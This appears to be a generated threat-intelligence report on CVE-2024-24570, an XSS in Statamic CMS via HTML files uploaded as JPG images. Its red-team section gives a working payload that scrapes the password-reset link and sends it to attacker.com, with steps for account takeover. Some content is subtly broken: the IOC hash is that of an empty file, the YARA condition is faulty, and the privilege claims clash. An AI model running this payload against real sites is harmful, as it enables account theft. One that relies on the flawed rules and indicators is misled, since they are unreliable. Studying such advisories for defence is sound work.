CVE-2024-24570
Executive Summary
CVE-2024-24570 is a critical Cross-Site Scripting (XSS) vulnerability affecting Statamic, a Laravel and Git powered CMS. The vulnerability allows an attacker to upload HTML files disguised as JPG images. When a user (including an administrator) views or interacts with this malicious file, the embedded JavaScript executes in the context of the Statamic application. This can lead to session hijacking, data theft, and account takeover, particularly through the exploitation of the "copy password reset link" feature. The vulnerability is present in front-end asset fields, control panel asset fields, and the control panel asset browser. The attack requires user interaction (clicking on the malicious file), but the potential impact is high due to the ability to steal password reset tokens.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Statamic CMS itself, which is distributed via Composer (PHP). Users should ensure they are running a patched version of the statamic/cms package.
CVSS Breakdown & Threat Level
CVSS Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Attack Vector (AV): Network - The attacker can deliver the malicious file remotely.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): None - The attacker does not need to be authenticated.
- User Interaction (UI): Required - The victim must click on or view the malicious file.
- Scope (S): Changed - The XSS can impact resources beyond the vulnerable component (e.g., stealing tokens from another part of the application).
- Confidentiality (C): High - An attacker can steal sensitive data, including password reset tokens.
- Integrity (I): Low - The attacker can modify content within the user's session.
- Availability (A): None - The vulnerability does not affect availability.
Threat Level: High. The combination of a network-accessible attack vector, low complexity, and the potential for account takeover makes this a serious threat.
Deep Dive & Mechanics
The core issue is a lack of MIME type validation on file uploads. Statamic's asset fields and browser accept files based on their extension (e.g., .jpg), but do not verify the actual content type of the file. An attacker can craft an HTML file containing malicious JavaScript and rename it to malicious.jpg. When this file is uploaded and subsequently viewed or interacted with by a user, the browser interprets it as HTML (due to content sniffing or the server's Content-Type header), executing the embedded script.
The attack chain is as follows:
- Crafting the Payload: The attacker creates an HTML file with embedded JavaScript. For example:
<html> <body> <script> // Malicious code to steal password reset link fetch('/cp/auth/password-reset') .then(response => response.text()) .then(html => { // Parse the HTML to find the reset link // ... // Send the link to attacker's server fetch('https://attacker.com/steal?token=' + token); }); </script> </body> </html> - Upload: The attacker uploads this file as
malicious.jpgto a publicly accessible asset field or the control panel asset browser. - Delivery: The attacker tricks an authorized user (e.g., via social engineering) into clicking on the uploaded file.
- Execution: The user's browser renders the file as HTML, executing the JavaScript. The script can then:
- Steal the user's session cookie.
- Access the "copy password reset link" feature to obtain a password reset token for the current user.
- Perform actions on behalf of the user.
- Account Takeover: If the attacker steals a password reset token, they can reset the victim's password and gain full access to their account.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely lacks MIME type validation on the server side. It might look like this:
// Vulnerable: Only checks file extension
$extension = $file->getClientOriginalExtension();
if (in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
// Process the file
$file->store('assets');
}
Patched Code (Conceptual): The patched code adds MIME type validation to ensure the file's content matches its extension.
// Patched: Checks MIME type
$extension = $file->getClientOriginalExtension();
$mimeType = $file->getMimeType();
if (in_array($extension, ['jpg', 'jpeg', 'png', 'gif']) && str_starts_with($mimeType, 'image/')) {
// Process the file
$file->store('assets');
}
Additionally, the "copy password reset link" feature has been disabled in the patched versions to prevent token theft.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Statamic instance running a vulnerable version (< 4.46.0 or < 3.4.17).
- A publicly accessible asset field or control panel access.
- A victim user who will click on the malicious file.
Steps:
- Create the Malicious File: Create an HTML file named
exploit.jpgwith the following content:<html> <body> <script> // Steal password reset link fetch('/cp/auth/password-reset') .then(r => r.text()) .then(html => { var parser = new DOMParser(); var doc = parser.parseFromString(html, 'text/html'); var link = doc.querySelector('a[href*="password-reset"]'); if (link) { new Image().src = 'https://attacker.com/steal?token=' + encodeURIComponent(link.href); } }); </script> </body> </html> - Upload the File: Log in as a user with upload permissions (or use a front-end form) and upload
exploit.jpgto an asset field. - Deliver the Payload: Send the direct URL of the uploaded file (e.g.,
https://victim.com/assets/exploit.jpg) to the victim via email or chat. - Capture the Token: Set up a listener on your attacker server (
https://attacker.com/steal) to capture the stolen password reset token. - Account Takeover: Use the stolen token to reset the victim's password and log in.
Blue Team (Defense & Detection)
Defense:
- Patch Immediately: Upgrade Statamic to version 4.46.0 or 3.4.17 or later.
- Implement MIME Validation: If patching is not immediately possible, implement server-side MIME type validation for all file uploads.
- Disable "Copy Password Reset Link": If on an older version, consider disabling this feature via configuration or a custom middleware.
- Content Security Policy (CSP): Implement a strict CSP to mitigate the impact of XSS.
- Web Application Firewall (WAF): Deploy WAF rules to block files with mismatched extensions and MIME types.
Detection:
- Monitor for file uploads where the file extension does not match the MIME type.
- Alert on access to files with
.jpgextension that are served with atext/htmlContent-Type. - Monitor for unusual access to the password reset endpoint (
/cp/auth/password-reset).
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example - actual hashes will vary)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious.jpg)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - HTTP requests to
/cp/auth/password-resetfollowed by requests to external domains.
- Outbound connections to attacker-controlled domains (e.g.,
- File System Indicators:
- Files with
.jpgextension but containing HTML/JavaScript content in theassetsdirectory.
- Files with
- Log Indicators:
- Web server logs showing
GET /assets/malicious.jpgwith a200response andContent-Type: text/html. - Application logs showing unusual access to password reset functionality.
- Web server logs showing
Detection Engineering
YARA Rule
rule Detect_Malicious_JPG_XSS {
meta:
description = "Detects HTML files disguised as JPG files used for XSS in Statamic"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-24570"
strings:
$html_marker = "<html" nocase
$script_marker = "<script" nocase
$jpg_extension = ".jpg" nocase
condition:
$html_marker and $script_marker and $jpg_extension at 0
}
Sigma Rule
title: Statamic XSS via Malicious JPG Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads where the file extension is .jpg but the content is HTML
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs_uri_extension: ".jpg"
sc_content_type: "text/html"
condition: selection
falsepositives:
- Legitimate HTML files with .jpg extension (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-24570 Statamic XSS via Malicious JPG Upload"; flow:to_server; content:".jpg"; http_uri; content:"text/html"; http_content_type; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Statamic to version 4.46.0 or 3.4.17 immediately.
- Validate Uploads: If patching is delayed, implement strict MIME type validation on all file upload endpoints.
- Disable Feature: Disable the "copy password reset link" feature in the control panel.
Long-Term Mitigations:
- Content Security Policy (CSP): Implement a strict CSP that restricts script execution.
- Input Validation: Validate all file uploads on the server side, not just the client side.
- Regular Audits: Conduct regular security audits of file upload functionality.
- User Training: Educate users about the risks of clicking on untrusted files.
Valters IT Signature
Report generated by Valters IT Cyber Threat Intelligence Division